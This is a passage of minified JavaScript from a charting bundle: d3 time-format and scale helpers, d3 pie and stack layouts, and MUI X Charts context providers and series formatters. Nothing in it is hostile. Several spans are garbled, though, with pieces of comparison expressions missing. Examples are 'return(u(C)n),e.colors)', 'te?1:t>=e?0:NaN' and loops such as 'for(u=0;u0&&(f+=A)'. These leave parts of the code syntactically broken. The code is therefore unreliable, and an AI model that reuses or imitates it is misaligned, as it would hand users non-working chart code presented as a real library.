W(e.getHours(),t,2)}function pd(e,t){return W(e.getHours()%12||12,t,2)}function xd(e,t){return W(1+en.count(Fe(e),e),t,3)}function Ko(e,t){return W(e.getMilliseconds(),t,3)}function yd(e,t){return Ko(e,t)+"000"}function bd(e,t){return W(e.getMonth()+1,t,2)}function vd(e,t){return W(e.getMinutes(),t,2)}function wd(e,t){return W(e.getSeconds(),t,2)}function Cd(e){var t=e.getDay();return t===0?7:t}function Md(e,t){return W(Kn.count(Fe(e)-1,e),t,2)}function Qo(e){var t=e.getDay();return t>=4||t===0?bt(e):bt.ceil(e)}function kd(e,t){return e=Qo(e),W(bt.count(Fe(e),e)+(Fe(e).getDay()===4),t,2)}function Ad(e){return e.getDay()}function Sd(e,t){return W(Ln.count(Fe(e)-1,e),t,2)}function Id(e,t){return W(e.getFullYear()%100,t,2)}function Td(e,t){return e=Qo(e),W(e.getFullYear()%100,t,2)}function Pd(e,t){return W(e.getFullYear()%1e4,t,4)}function jd(e,t){var n=e.getDay();return e=n>=4||n===0?bt(e):bt.ceil(e),W(e.getFullYear()%1e4,t,4)}function _d(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+W(t/60|0,"0",2)+W(t%60,"0",2)}function js(e,t){return W(e.getUTCDate(),t,2)}function $d(e,t){return W(e.getUTCHours(),t,2)}function Ed(e,t){return W(e.getUTCHours()%12||12,t,2)}function Rd(e,t){return W(1+qn.count(ze(e),e),t,3)}function Zo(e,t){return W(e.getUTCMilliseconds(),t,3)}function Ld(e,t){return Zo(e,t)+"000"}function Od(e,t){return W(e.getUTCMonth()+1,t,2)}function Dd(e,t){return W(e.getUTCMinutes(),t,2)}function Nd(e,t){return W(e.getUTCSeconds(),t,2)}function Ud(e){var t=e.getUTCDay();return t===0?7:t}function Fd(e,t){return W(Qn.count(ze(e)-1,e),t,2)}function Jo(e){var t=e.getUTCDay();return t>=4||t===0?vt(e):vt.ceil(e)}function zd(e,t){return e=Jo(e),W(vt.count(ze(e),e)+(ze(e).getUTCDay()===4),t,2)}function Hd(e){return e.getUTCDay()}function Vd(e,t){return W(On.count(ze(e)-1,e),t,2)}function Bd(e,t){return W(e.getUTCFullYear()%100,t,2)}function Gd(e,t){return e=Jo(e),W(e.getUTCFullYear()%100,t,2)}function Yd(e,t){return W(e.getUTCFullYear()%1e4,t,4)}function Wd(e,t){var n=e.getUTCDay();return e=n>=4||n===0?vt(e):vt.ceil(e),W(e.getUTCFullYear()%1e4,t,4)}function Xd(){return"+0000"}function _s(){return"%"}function $s(e){return+e}function Es(e){return Math.floor(+e/1e3)}var dt,ea,ta;qd({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function qd(e){return dt=ql(e),ea=dt.format,dt.parse,ta=dt.utcFormat,dt.utcParse,dt}function Kd(e){return new Date(e)}function Qd(e){return e instanceof Date?+e:+new Date(+e)}function vi(e,t,n,r,i,s,o,a,u,c){var d=zo(),l=d.invert,f=d.domain,m=c(".%L"),g=c(":%S"),p=c("%I:%M"),x=c("%I %p"),b=c("%a %d"),M=c("%b %d"),w=c("%B"),A=c("%Y");function I(C){return(u(C)n),e.colors).unknown(e.unknownColor??null)}function Cn(e){return e.type==="ordinal"?Dn(e):tf(e)}function st(e){return e.bandwidth!==void 0}function wi(e){return typeof e=="number"&&!Number.isFinite(e)}function nf(e){const{tickMaxStep:t,tickMinStep:n,tickNumber:r,range:i,domain:s}=e,o=n===void 0?999:Math.floor(Math.abs(s[1]-s[0])/n),a=t===void 0?2:Math.ceil(Math.abs(s[1]-s[0])/t),u=r??Math.floor(Math.abs(i[1]-i[0])/50);return Math.min(o,Math.max(a,u))}const gr={start:0,extremities:0,end:1,middle:.5};function Zn(e){const{scale:t,tickNumber:n,valueFormatter:r,tickInterval:i,tickPlacement:s="extremities",tickLabelPlacement:o="middle"}=e;return v.useMemo(()=>{if(st(t)){const c=t.domain();return t.bandwidth()>0?[...(typeof i=="function"&&c.filter(i)||typeof i=="object"&&i||c).map(f=>({value:f,formattedValue:(r==null?void 0:r(f,{location:"tick"}))??`${f}`,offset:t(f)-(t.step()-t.bandwidth())/2+gr[s]*t.step(),labelOffset:o==="tick"?0:t.step()*(gr[o]-gr[s])})),...s==="extremities"?[{formattedValue:void 0,offset:t.range()[1],labelOffset:0}]:[]]:(typeof i=="function"&&c.filter(i)||typeof i=="object"&&i||c).map(l=>({value:l,formattedValue:(r==null?void 0:r(l,{location:"tick"}))??`${l}`,offset:t(l),labelOffset:0}))}return t.domain().some(wi)?[]:(typeof i=="object"?i:t.ticks(n)).map(c=>({value:c,formattedValue:(r==null?void 0:r(c,{location:"tick"}))??t.tickFormat(n)(c),offset:t(c),labelOffset:0}))},[t,i,n,r,s,o])}function rf(e,t,n){switch(e){case"log":return Yo(t,n);case"pow":return fi(t,n);case"sqrt":return Ol(t,n);case"time":return na(t,n);case"utc":return Zd(t,n);default:return Bo(t,n)}}const pr=(e,t)=>{const n=e[1]-e[0],r=t[1]-t[0],i=e[0]-t[0]*n/r,s=e[1]+(100-t[1])*n/r;return[i,s]},sf=(e,t,n,r,i,s,o)=>{var m;const a=r[t],u=((m=s[t])==null?void 0:m.series)??{},[c,d]=(a==null?void 0:a({series:u,axis:n,axisIndex:i,isDefaultAxis:i===0,getFilters:o}))??[1/0,-1/0],[l,f]=e;return[Math.min(c,l),Math.max(d,f)]},of=(e,t,n,r,i)=>{const o=Object.keys(t).reduce((a,u)=>sf(a,u,e,t,n,r,i),[1/0,-1/0]);return Number.isNaN(o[0])||Number.isNaN(o[1])?[1/0,-1/0]:o};function af(e,t,n){if(t==="rotation"){const{startAngle:i=0,endAngle:s=i+360}=n;return n.reverse?[Math.PI*i/180,Math.PI*s/180]:[Math.PI*s/180,Math.PI*i/180]}if(t==="radius"){const{minRadius:i=0,maxRadius:s=Math.min(e.width,e.height)/2}=n;return[i,s]}const r=t==="x"?[e.left,e.left+e.width]:[e.top+e.height,e.top];return n.reverse?[r[1],r[0]]:r}const Rs=e=>(e==null?void 0:e[0])instanceof Date;function Ls(e,t){const n=na(e.data,t);return(r,{location:i})=>i==="tick"?n.tickFormat(e.tickNumber)(r):`${r.toLocaleString()}`}const cf=.2,uf=.1;function Os({drawingArea:e,formattedSeries:t,axis:n,extremumGetters:r,axisDirection:i,zoomData:s,zoomOptions:o,getFilters:a}){const u={};return n.forEach((c,d)=>{const l=c,f=o==null?void 0:o[l.id],m=s==null?void 0:s.find(({axisId:T})=>T===l.id),g=m?[m.start,m.end]:[0,100],p=af(e,i,l),[x,b]=of(l,r,d,t,m===void 0&&!f?a:void 0),M=l.data??[];if(Ur(l)){const T=l.categoryGapRatio??cf,$=l.barGapRatio??uf,H=i==="y"?[p[1],p[0]]:p,B=pr(H,g);if(u[l.id]=y({categoryGapRatio:T,barGapRatio:$},l,{data:M,scale:si(l.data,B).paddingInner(T).paddingOuter(T/2),tickNumber:l.data.length,colorScale:l.colorMap&&(l.colorMap.type==="ordinal"?Dn(y({values:l.data},l.colorMap)):Cn(l.colorMap))}),Rs(l.data)){const F=Ls(l,H);u[l.id].valueFormatter=l.valueFormatter??F}}if(ia(l)){const T=i==="y"?[...p].reverse():p,$=pr(T,g);if(u[l.id]=y({},l,{data:M,scale:zu(l.data,$),tickNumber:l.data.length,colorScale:l.colorMap&&(l.colorMap.type==="ordinal"?Dn(y({values:l.data},l.colorMap)):Cn(l.colorMap))}),Rs(l.data)){const H=Ls(l,T);u[l.id].valueFormatter=l.valueFormatter??H}}if(l.scaleType==="band"||l.scaleType==="point")return;const w=l.scaleType??"linear",A=l.domainLimit??"nice",I=[l.min??x,l.max??b];if(typeof A=="function"){const{min:T,max:$}=A(x,b);I[0]=T,I[1]=$}const C=nf(y({},l,{range:p,domain:I})),_=C/((g[1]-g[0])/100),E=pr(p,g),D=rf(w,I,E),O=A==="nice"?D.nice(C):D,[j,U]=O.domain(),R=[l.min??j,l.max??U];u[l.id]=y({},l,{data:M,scaleType:w,scale:O.domain(R),tickNumber:_,colorScale:l.colorMap&&Cn(l.colorMap)})}),{axis:u,axisIds:n.map(({id:c})=>c)}}let Ds=0;function lf(e){const[t,n]=v.useState(e),r=t;return v.useEffect(()=>{t==null&&(Ds+=1,n(`mui-${Ds}`))},[t]),r}const df={...za},Ns=df.useId;function sa(e){return Ns!==void 0?Ns():lf(e)}const Ci="DEFAULT_X_AXIS_KEY",Mi="DEFAULT_Y_AXIS_KEY",ff={top:50,bottom:50,left:50,right:50},hf=(e,t,n)=>{const r=y({},ff,n);return v.useMemo(()=>({left:r.left,top:r.top,right:r.right,bottom:r.bottom,width:Math.max(0,e-r.left-r.right),height:Math.max(0,t-r.top-r.bottom)}),[e,t,r.top,r.bottom,r.left,r.right])},Jn=v.createContext({top:0,left:0,bottom:0,right:0,height:300,width:400,chartId:"",isPointInside:()=>!1}),oa=v.createContext({isInitialized:!1,data:{current:null}});function mf(e){const{width:t,height:n,margin:r,svgRef:i,children:s}=e,o=hf(t,n,r),a=sa(),u=v.useCallback(({x:l,y:f},m)=>{if(m!=null&&m.targetElement&&(m!=null&&m.targetElement.closest("[data-drawing-container]")))return!0;const g=l>=o.left-1&&l<=o.left+o.width,p=f>=o.top-1&&f<=o.top+o.height;return(m==null?void 0:m.direction)==="x"?g:((m==null?void 0:m.direction)==="y"||g)&&p},[o]),c=v.useMemo(()=>y({chartId:a??""},o,{isPointInside:u}),[a,o,u]),d=v.useMemo(()=>({isInitialized:!0,data:i}),[i]);return h.jsx(oa.Provider,{value:d,children:h.jsx(Jn.Provider,{value:c,children:s})})}function Ie(){const{left:e,top:t,width:n,height:r,bottom:i,right:s,isPointInside:o}=v.useContext(Jn);return v.useMemo(()=>({left:e,top:t,width:n,height:r,bottom:i,right:s,isPointInside:o}),[r,e,t,n,i,s,o])}const gf=["#1f77b4","#ff7f0e","#2ca02c","#d62728","#9467bd","#8c564b","#e377c2","#7f7f7f","#bcbd22","#17becf"];function pf(e,t,n=gf){return e.type==="pie"?y({},e,{data:e.data.map((r,i)=>y({color:n[i%n.length]},r))}):y({color:n[t%n.length]},e)}const xf=({series:e,colors:t,seriesFormatters:n,dataset:r})=>{const i={};e.forEach((o,a)=>{var d;const{id:u=`auto-generated-id-${a}`,type:c}=o;if(i[c]===void 0&&(i[c]={series:{},seriesOrder:[]}),((d=i[c])==null?void 0:d.series[u])!==void 0)throw new Error(`MUI X: series' id "${u}" is not unique.`);i[c].series[u]=y({id:u},pf(o,a,t)),i[c].seriesOrder.push(u)});const s={};return Object.keys(n).forEach(o=>{var u;const a=i[o];a!==void 0&&(s[o]=((u=n[o])==null?void 0:u.call(n,a,r))??i[o])}),s},yf=["#02B2AF","#2E96FF","#B800D8","#60009B","#2731C8","#03008D"],bf=["#02B2AF","#72CCFF","#DA00FF","#9001CB","#2E96FF","#3B48E0"],vf=e=>e==="dark"?bf:yf,aa=v.createContext({isInitialized:!1,data:{}}),tn=v.createContext({isInitialized:!1,data:{colorProcessors:{},seriesFormatters:{},xExtremumGetters:{},yExtremumGetters:{},rotationExtremumGetters:{},radiusExtremumGetters:{}}}),Us=(e,t)=>t==="x"?{x:e,y:null}:{x:null,y:e},ca=e=>{var u;const{axis:t,getFilters:n,isDefaultAxis:r}=e,i=n==null?void 0:n({currentAxisId:t.id,isDefaultAxis:r}),s=i?(u=t.data)==null?void 0:u.filter((c,d)=>i({x:null,y:null},d)):t.data,o=Math.min(...s??[]),a=Math.max(...s??[]);return[o,a]},ua=e=>t=>{const{series:n,axis:r,getFilters:i,isDefaultAxis:s}=t;return Object.keys(n).filter(o=>{const a=n[o].yAxisId??n[o].yAxisKey;return a===r.id||s&&a===void 0}).reduce((o,a)=>{const{stackedData:u}=n[a],c=i==null?void 0:i({currentAxisId:r.id,isDefaultAxis:s,seriesXAxisId:n[a].xAxisId??n[a].xAxisKey,seriesYAxisId:n[a].yAxisId??n[a].yAxisKey}),[d,l]=(u==null?void 0:u.reduce((f,m,g)=>c&&(!c(Us(m[0],e),g)||!c(Us(m[1],e),g))?f:[Math.min(...m,f[0]),Math.max(...m,f[1])],[1/0,-1/0]))??[1/0,-1/0];return[Math.min(d,o[0]),Math.max(l,o[1])]},[1/0,-1/0])},wf=e=>Object.keys(e.series).some(n=>e.series[n].layout==="horizontal")?ua("x")(e):ca(e),Cf=e=>Object.keys(e.series).some(n=>e.series[n].layout==="horizontal")?ca(e):ua("y")(e);function Ce(e){return function(){return e}}const Mf=Math.PI,xr=2*Mf;function la(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function kf(e,t){return te?1:t>=e?0:NaN}function Af(e){return e}function Sf(){var e=Af,t=kf,n=null,r=Ce(0),i=Ce(xr),s=Ce(0);function o(a){var u,c=(a=la(a)).length,d,l,f=0,m=new Array(c),g=new Array(c),p=+r.apply(this,arguments),x=Math.min(xr,Math.max(-xr,i.apply(this,arguments)-p)),b,M=Math.min(Math.abs(x)/c,s.apply(this,arguments)),w=M*(x<0?-1:1),A;for(u=0;u0&&(f+=A);for(t!=null?m.sort(function(I,C){return t(g[I],g[C])}):n!=null&&m.sort(function(I,C){return n(a[I],a[C])}),u=0,l=f?(x-c*w)/f:0;u0?A*l:0)+w,g[d]={data:a[d],index:u,value:A,startAngle:p,endAngle:b,padAngle:M};return g}return o.value=function(a){return arguments.length?(e=typeof a=="function"?a:Ce(+a),o):e},o.sortValues=function(a){return arguments.length?(t=a,n=null,o):t},o.sort=function(a){return arguments.length?(n=a,t=null,o):n},o.startAngle=function(a){return arguments.length?(r=typeof a=="function"?a:Ce(+a),o):r},o.endAngle=function(a){return arguments.length?(i=typeof a=="function"?a:Ce(+a),o):i},o.padAngle=function(a){return arguments.length?(s=typeof a=="function"?a:Ce(+a),o):s},o}function wt(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,a=s.length;n=0;)n[t]=t;return n}function If(e,t){return e[t]}function Tf(e){const t=[];return t.key=e,t}function da(){var e=Ce([]),t=Ct,n=wt,r=If;function i(s){var o=Array.from(e.apply(this,arguments),Tf),a,u=o.length,c=-1,d;for(const l of s)for(a=0,++c;a0){for(var n,r,i=0,s=e[0].length,o;i0)for(var n,r=0,i,s,o,a,u,c=e[t[0]].length;r0?(i[0]=o,i[1]=o+=s):s<0?(i[1]=a,i[0]=a+=s):(i[0]=0,i[1]=s)}function _f(e,t){if((i=e.length)>0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;rs&&(s=i,n=t);return n}function ha(e){var t=e.map(ma);return Ct(e).sort(function(n,r){return t[n]-t[r]})}function ma(e){for(var t=0,n=-1,r=e.length,i;++n{const{series:t,seriesOrder:n,defaultStrategy:r}=e,i=[],s={};return n.forEach(o=>{const{stack:a,stackOrder:u,stackOffset:c}=t[o];a===void 0?i.push({ids:[o],stackingOrder:yr.none,stackingOffset:br.none}):s[a]===void 0?(s[a]=i.length,i.push({ids:[o],stackingOrder:yr[u??(r==null?void 0:r.stackOrder)??"none"],stackingOffset:br[c??(r==null?void 0:r.stackOffset)??"diverging"]})):(i[s[a]].ids.push(o),u!==void 0&&(i[s[a]].stackingOrder=yr[u]),c!==void 0&&(i[s[a]].stackingOffset=br[c]))}),i};function pa(e,t){const n={};return Object.keys(e).forEach(r=>{n[r]=y({},e[r],{valueFormatter:e[r].valueFormatter??t})}),n}const Df=(e,t)=>{const{seriesOrder:n,series:r}=e,i=ga(e),s=t??[];n.forEach(a=>{const u=r[a].data;if(u!==void 0)u.forEach((c,d)=>{s.length<=d?s.push({[a]:c}):s[d][a]=c});else if(t===void 0)throw new Error([`MUI X: bar series with id='${a}' has no data.`,"Either provide a data property to the series or use the dataset prop."].join(` `))});const o={};return i.forEach(a=>{const{ids:u,stackingOffset:c,stackingOrder:d}=a,l=da().keys(u.map(f=>{const m=r[f].dataKey;return r[f].data===void 0&&m!==void 0?m:f})).value((f,m)=>f[m]??0).order(d).offset(c)(s);u.forEach((f,m)=>{const g=r[f].dataKey;o[f]=y({layout:"vertical"},r[f],{data:g?t.map(p=>{const x=p[g];return typeof x!="number"?0:x}):r[f].data,stackedData:l[m].map(([p,x])=>[p,x])})})}),{seriesOrder:n,stackingGroups:i,series:pa(o,a=>a==null?"":a.toLocaleString())}},xa=(e,t,n)=>{const r=e.layout==="vertical",i=r?t==null?void 0:t.colorScale:n==null?void 0:n.colorScale,s=r?n==null?void 0:n.colorScale:t==null?void 0:t.colorScale,o=r?t==null?void 0:t.data:n==null?void 0:n.data;return s?a=>{const u=e.data[a],c=u===null?e.color:s(u);return c===null?e.color:c}:i&&o?a=>{const u=o[a],c=u===null?e.color:i(u);return c===null?e.color:c}:()=>e.color},Nf={seriesType:"bar",seriesFormatter:Df,colorProcessor:xa,xExtremumGetter:wf,yExtremumGetter:Cf},Nn=(e,t)=>[Math.min(e[0],t[0]),Math.max(e[1],t[1])],Uf=e=>{const{series:t,axis:n,isDefaultAxis:r,getFilters:i}=e;return Object.keys(t).filter(s=>{const o=t[s].xAxisId??t[s].xAxisKey;return o===n.id||o===void 0&&r}).reduce((s,o)=>{var c;const a=i==null?void 0:i({currentAxisId:n.id,isDefaultAxis:r,seriesXAxisId:t[o].xAxisId??t[o].xAxisKey,seriesYAxisId:t[o].yAxisId??t[o].yAxisKey}),u=(c=t[o].data)==null?void 0:c.reduce((d,l,f)=>a&&!a(l,f)?d:Nn(d,[l.x,l.x]),[1/0,-1/0]);return Nn(s,u??[1/0,-1/0])},[1/0,-1/0])},Ff=e=>{const{series:t,axis:n,isDefaultAxis:r,getFilters:i}=e;return Object.keys(t).filter(s=>{const o=t[s].yAxisId??t[s].yAxisKey;return o===n.id||o===void 0&&r}).reduce((s,o)=>{var c;const a=i==null?void 0:i({currentAxisId:n.id,isDefaultAxis:r,seriesXAxisId:t[o].xAxisId??t[o].xAxisKey,seriesYAxisId:t[o].yAxisId??t[o].yAxisKey}),u=(c=t[o].data)==null?void 0:c.reduce((d,l,f)=>a&&!a(l,f)?d:Nn(d,[l.y,l.y]),[1/0,-1/0]);return Nn(s,u??[1/0,-1/0])},[1/0,-1/0])},zf=({series:e,seriesOrder:t},n)=>({series:Object.fromEntries(Object.entries(e).map(([i,s])=>{const o=s==null?void 0:s.datasetKeys,a=["x","y","id"].filter(c=>typeof(o==null?void 0:o[c])!="string");if(s!=null&&s.datasetKeys&&a.length>0)throw new Error([`MUI X: scatter series with id='${i}' has incomplete datasetKeys.`,`Properties ${a.map(c=>`"${c}"`).join(", ")} are missing.`].join(` `));const u=o?(n==null?void 0:n.map(c=>({x:c[o.x],y:c[o.y],z:o.z&&c[o.z],id:c[o.id]})))??[]:s.data??[];return[i,y({},s,{data:u,valueFormatter:s.valueFormatter??(c=>`(${c.x}, ${c.y})`)})]})),seriesOrder:t}),Hf=(e,t,n,r)=>{const i=r==null?void 0:r.colorScale,s=n==null?void 0:n.colorScale,o=t==null?void 0:t.colorScale;return i?a=>{var d,l;if(((d=r==null?void 0:r.data)==null?void 0:d[a])!==void 0){const f=i((l=r==null?void 0:r.data)==null?void 0:l[a]);if(f!==null)return f}const u=e.data[a],c=u===null?e.color:i(u.z);return c===null?e.color:c}:s?a=>{const u=e.data[a],c=u===null?e.color:s(u.y);return c===null?e.color:c}:o?a=>{const u=e.data[a],c=u===null?e.color:o(u.x);return c===null?e.color:c}:()=>e.color},Vf={seriesType:"scatter",seriesFormatter:zf,colorProcessor:Hf,xExtremumGetter:Uf,yExtremumGetter:Ff},Bf=e=>{const{axis:t}=e,n=Math.min(...t.data??[]),r=Math.max(...t.data??[]);return[n,r]};function Gf(e,t,n){return t.reduce((r,i,s)=>{const[o,a]=e(i);return n&&(!n({y:o,x:null},s)||!n({y:a,x:null},s))?r:[Math.min(o,a,r[0]),Math.max(o,a,r[1])]},[1/0,-1/0])}const Yf=e=>{const{series:t,axis:n,isDefaultAxis:r,getFilters:i}=e;return Object.keys(t).filter(s=>{const o=t[s].yAxisId??t[s].yAxisKey;return o===n.id||r&&o===void 0}).reduce((s,o)=>{const{area:a,stackedData:u}=t[o],c=a!==void 0,d=i==null?void 0:i({currentAxisId:n.id,isDefaultAxis:r,seriesXAxisId:t[o].xAxisId??t[o].xAxisKey,seriesYAxisId:t[o].yAxisId??t[o].yAxisKey}),l=c&&n.scaleType!=="log"&&typeof t[o].baseline!="string"?p=>p:p=>[p[1],p[1]],f=Gf(l,u,d),[m,g]=f;return[Math.min(m,s[0]),Math.max(g,s[1])]},[1/0,-1/0])},Wf=(e,t)=>{const{seriesOrder:n,series:r}=e,i=ga(y({},e,{defaultStrategy:{stackOffset:"none"}})),s=t??[];n.forEach(a=>{const u=r[a].data;u!==void 0&&u.forEach((c,d)=>{s.length<=d?s.push({[a]:c}):s[d][a]=c})});const o={};return i.forEach(a=>{const{ids:u,stackingOrder:c,stackingOffset:d}=a,l=da().keys(u.map(f=>{const m=r[f].dataKey;return r[f].data===void 0&&m!==void 0?m:f})).value((f,m)=>f[m]??0).order(c).offset(d)(s);u.forEach((f,m)=>{const g=r[f].dataKey;o[f]=y({},r[f],{data:g?t.map(p=>{const x=p[g];return typeof x!="number"?null:x}):r[f].data,stackedData:l[m].map(([p,x])=>[p,x])})})}),{seriesOrder:n,stackingGroups:i,series:pa(o,a=>a==null?"":a.toLocaleString())}},Xf=(e,t,n)=>{const r=n==null?void 0:n.colorScale,i=t==null?void 0:t.colorScale;return r?s=>{const o=e.data[s],a=o===null?e.color:r(o);return a===null?e.color:a}:i?s=>{var u;const o=(u=t.data)==null?void 0:u[s],a=o===null?e.color:i(o);return a===null?e.color:a}:()=>e.color},qf={seriesType:"line",colorProcessor:Xf,seriesFormatter:Wf,xExtremumGetter:Bf,yExtremumGetter:Yf};function Ne(e,t){return typeof e=="function"?e(t):e}const Kf=(e="none")=>{if(typeof e=="function")return e;switch(e){case"none":return null;case"desc":return(t,n)=>n-t;case"asc":return(t,n)=>t-n;default:return null}},Qf=e=>{const{seriesOrder:t,series:n}=e,r={};return t.forEach(i=>{const s=Sf().startAngle(2*Math.PI*(n[i].startAngle??0)/360).endAngle(2*Math.PI*(n[i].endAngle??360)/360).padAngle(2*Math.PI*(n[i].paddingAngle??0)/360).sortValues(Kf(n[i].sortingValues??"none"))(n[i].data.map(o=>o.value));r[i]=y({valueFormatter:o=>o.value.toLocaleString()},n[i],{data:n[i].data.map((o,a)=>y({},o,{id:o.id??`auto-generated-pie-id-${i}-${a}`},s[a])).map((o,a)=>{var u,c;return y({},o,{formattedValue:((c=(u=n[i]).valueFormatter)==null?void 0:c.call(u,y({},o,{label:Ne(o.label,"arc")}),{dataIndex:a}))??o.value.toLocaleString()})})})}),{seriesOrder:t,series:r}},Zf=e=>t=>e.data[t].color,Jf={seriesType:"pie",colorProcessor:Zf,seriesFormatter:Qf},eh=[Nf,Vf,qf,Jf];function th(e){const t=e??eh,n={},r={},i={},s={},o={},a={};for(let u=0;u({isInitialized:!0,data:th(n)}),[n]);return h.jsx(tn.Provider,{value:r,children:t})}function ya(e){const{isInitialized:t,data:n}=v.useContext(tn);if(!t)throw new Error(["MUI X: Could not find the plugin context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return n.colorProcessors}function rh(e){const{isInitialized:t,data:n}=v.useContext(tn);if(!t)throw new Error(["MUI X: Could not find the plugin context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return n.seriesFormatters}function ih(e){const{isInitialized:t,data:n}=v.useContext(tn);if(!t)throw new Error(["MUI X: Could not find the plugin context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return n.xExtremumGetters}function sh(e){const{isInitialized:t,data:n}=v.useContext(tn);if(!t)throw new Error(["MUI X: Could not find the plugin context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return n.yExtremumGetters}function oh(e){const{series:t,dataset:n,colors:r=vf,children:i}=e,s=rh(),o=qt(),a=v.useMemo(()=>({isInitialized:!0,data:xf({series:t,colors:typeof r=="function"?r(o.palette.mode):r,seriesFormatters:s,dataset:n})}),[t,r,o.palette.mode,s,n]);return h.jsx(aa.Provider,{value:a,children:i})}function qe(){const{isInitialized:e,data:t}=v.useContext(aa);if(!e)throw new Error(["MUI X: Could not find the series ref context.","It looks like you rendered your component outside of a ChartsContainer parent component."].join(` `));return t}function ah(){const e=qe();return v.useMemo(()=>e.bar,[e.bar])}const ba=v.createContext({isInitialized:!1,data:{xAxis:{},yAxis:{},xAxisIds:[],yAxisIds:[]}});function ch(e){const{xAxis:t,yAxis:n,children:r}=e,i=qe(),s=Ie(),o=ih(),a=sh(),u=v.useMemo(()=>Os({drawingArea:s,formattedSeries:i,axis:t,extremumGetters:o,axisDirection:"x"}),[s,i,t,o]),c=v.useMemo(()=>Os({drawingArea:s,formattedSeries:i,axis:n,extremumGetters:a,axisDirection:"y"}),[s,i,n,a]),d=v.useMemo(()=>({isInitialized:!0,data:{xAxis:u.axis,yAxis:c.axis,xAxisIds:u.axisIds,yAxisIds:c.axisIds}}),[u,c]);return h.jsx(ba.Provider,{value:d,children:r})}const Te=()=>{const{data:e}=v.useContext(ba);return e};function Ke(e,t,n=void 0){const r={};for(const i in e){const s=e[i];let o="",a=!0;for(let u=0;ue.every(t=>t==null)?null:t=>{e.forEach(n=>{uh(n,t)})},e)}function lh(e){return typeof e=="string"}function dh(e,t,n){return e===void 0||lh(e)?t:{...t,ownerState:{...t.ownerState,...n}}}function fh(e,t=[]){if(e===void 0)return{};const n={};return Object.keys(e).filter(r=>r.match(/^on[A-Z]/)&&typeof e[r]=="function"&&!t.includes(r)).forEach(r=>{n[r]=e[r]}),n}function Fs(e){if(e===void 0)return{};const t={};return Object.keys(e).filter(n=>!(n.match(/^on[A-Z]/)&&typeof e[n]=="function")).forEach(n=>{t[n]=e[n]}),t}function hh(e){const{getSlotProps:t,additionalProps:n,externalSlotProps:r,externalForwardedProps:i,className:s}=e;if(!t){const m=_e(n==null?void 0:n.className,s,i==null?void 0:i.className,r==null?void 0:r.className),g={...n==null?void 0:n.style,...i==null?void 0:i.style,...r==null?void 0:r.style},p={...n,...i,...r};return m.length>0&&(p.className=m),Object.keys(g).length>0&&(p.style=g),{props:p,internalRef:void 0}}const o=fh({...i,...r}),a=Fs(r),u=Fs(i),c=t(o),d=_e(c==null?void 0:c.className,n==null?void 0:n.className,s,i==null?void 0:i.className,r==null?void 0:r.className),l={...c==null?void 0:c.style,...n==null?void 0:n.style,...i==null?void 0:i.style,...r==null?void 0:r.style},f={...c,...n,...u,...a};return d.length>0&&(f.className=d),Object.keys(l).length>0&&(f.style=l),{props:f,internalRef:c.ref}}function mh(e,t,n){return typeof e=="function"?e(t,n):e}function Se(e){var l;const{elementType:t,externalSlotProps:n,ownerState:r,skipResolvingSlotProps:i=!1,...s}=e,o=i?{}:mh(n,r),{props:a,internalRef:u}=hh({...s,externalSlotProps:o}),c=va(u,o==null?void 0:o.ref,(l=e.additionalProps)==null?void 0:l.ref);return dh(t,{...a,ref:c},r)}const zs=e=>e,gh=()=>{let e=zs;return{configure(t){e=t},generate(t){return e(t)},reset(){e=zs}}},ph=gh(),xh={active:"active",checked:"checked",completed:"completed",disabled:"disabled",error:"error",expanded:"expanded",focused:"focused",focusVisible:"focusVisible",open:"open",readOnly:"readOnly",required:"required",selected:"selected"};function Qe(e,t,n="Mui"){const r=xh[t];return r?`${n}-${r}`:`${ph.generate(e)}-${t}`}function ct(e,t,n="Mui"){const r={};return t.forEach(i=>{r[i]=Qe(e,i,n)}),r}const kt=v.createContext({item:null,axis:{x:null,y:null},useVoronoiInteraction:!1,dispatch:()=>null}),yh=(e,t)=>{switch(t.type){case"enterItem":return y({},e,{item:t.data});case"exitChart":return e.item===null&&e.axis.x===null&&e.axis.y===null?e:y({},e,{axis:{x:null,y:null},item:null});case"updateVoronoiUsage":return y({},e,{useVoronoiInteraction:t.useVoronoiInteraction});case"leaveItem":return e.item===null||Object.keys(t.data).some(n=>t.data[n]!==e.item[n])?e:y({},e,{item:null});case"updateAxis":return t.data.x===e.axis.x&&t.data.y===e.axis.y?e:y({},e,{axis:t.data});default:return e}};function bh(e){const{children:t}=e,[n,r]=v.useReducer(yh,{item:null,axis:{x:null,y:null},useVoronoiInteraction:!1}),i=v.useMemo(()=>y({},n,{dispatch:r}),[n]);return h.jsx(kt.Provider,{value:i,children:t})}function vh({controlled:e,default:t,name:n,state:r="value"}){const{current:i}=v.useRef(e!==void 0),[s,o]=v.useState(t),a=i?e:s,u=v.useCallback(c=>{i||o(c)},[]);return[a,u]}const wa=v.createContext({isInitialized:!1,data:{highlightedItem:null,setHighlighted:()=>{},clearHighlighted:()=>{},isHighlighted:()=>!1,isFaded:()=>!1}}),wh=(e,t)=>n=>e?e.fade==="series"?n.seriesId===(t==null?void 0:t.seriesId)&&n.dataIndex!==(t==null?void 0:t.dataIndex):e.fade==="global"?n.seriesId!==(t==null?void 0:t.seriesId)||n.dataIndex!==(t==null?void 0:t.dataIndex):!1:!1,Ch=(e,t)=>n=>e?e.highlight==="series"?n.seriesId===(t==null?void 0:t.seriesId):e.highlight==="item"?n.dataIndex===(t==null?void 0:t.dataIndex)&&n.seriesId===(t==null?void 0:t.seriesId):!1:!1,Mh=["highlighted","faded"],kh=e=>{const t=e??{},{highlighted:n,faded:r}=t,i=Q(t,Mh);return y({highlight:n,fade:r},i)};function 